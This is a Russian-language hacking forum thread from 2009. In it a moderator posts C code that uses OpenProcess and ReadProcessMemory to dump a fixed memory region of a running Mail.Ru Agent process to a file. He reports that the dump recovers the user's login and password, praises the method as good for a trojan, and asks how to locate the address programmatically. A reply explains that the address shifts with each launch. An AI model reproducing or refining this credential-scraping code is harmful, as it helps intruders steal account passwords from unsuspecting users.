Реально ли это?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Flenov, 10 Apr 2009.

  1. Flenov

    Flenov Member

    Joined:
    22 Nov 2008
    Messages:
    20
    Likes Received:
    17
    Reputations:
    0
    deleted
     
    #1 Flenov, 10 Apr 2009
    Last edited: 29 Jan 2015
  2. Karantin

    Karantin Elder - Старейшина

    Joined:
    21 Dec 2007
    Messages:
    330
    Likes Received:
    146
    Reputations:
    24
    2 года уже неактуально
     
    1 person likes this.
  3. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    прикольная темка не буду создавать новой
    спрошу свой вопрос

    Делать мне нечего пытаюсь из памяти процесса маил агента выцепить данные о мыле и пароле. Посмотрел в оли дебаг и в артмани и выяснил что они где то тут 0x011B2000 - 0x011B3000 (до это выяснял как делать карту памяти процессов ниче полезного)

    лано выяснил сделал!


    Code:
    	unsigned char *mem;
    	DWORD st_addr=0x011B2000;
    	HANDLE hProcess;
    	HFILE f;
    
    // эт моя фуекция через ToolHelp Process32First
    if((thPID=GetPIDbyNameExe((char *)&szExE))==-1){ExitProcess(1); }
    
    hProcess=OpenProcess(PROCESS_VM_READ,FALSE,thPID);
    
    mem=(unsigned char *)LocalAlloc(LPTR,4096);
    
    ReadProcessMemory(hProcess,(LPCVOID)st_addr,mem,4096,NULL);
    
    f=_lcreat("d.txt", 0);
    _lwrite(f,(LPCCH)mem,4096);
    _lclose(f);
    
    LocalFree(mem);
    CloseHandle(hProcess);
    ExitProcess(0); 
    ну запускаю смотрю файлик лежат логин пасс )

    даю друзякам тестить хер... ну понятно адреса то разные

    вопрос че делать???
    я уже тут перечитал структуру PE заголовка научился выциплять образ exe из памяти )
    делать карту памяти процесса .... но блин я хз в общем как артмани этот ищет какашко :(

    а так тема же клевая особено в троянчек
    из памяти прог цеплять данные крута.
     
    _________________________
  4. 0verbreaK

    0verbreaK Elder - Старейшина

    Joined:
    30 Apr 2008
    Messages:
    318
    Likes Received:
    42
    Reputations:
    -3
    Ну очевидно, что программа может
    расположится в памяти по предпочтительному
    адресупосмотри в ArtMoney, адрес
    изменяется с каждым перезапуском агента!
     
  5. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    эммм типа вопрос как программно вычислить этот адресс
    это понятно что он изменяется... как его находить ?

    включать артмани смотреть и перекомпилировать не катит )
     
    _________________________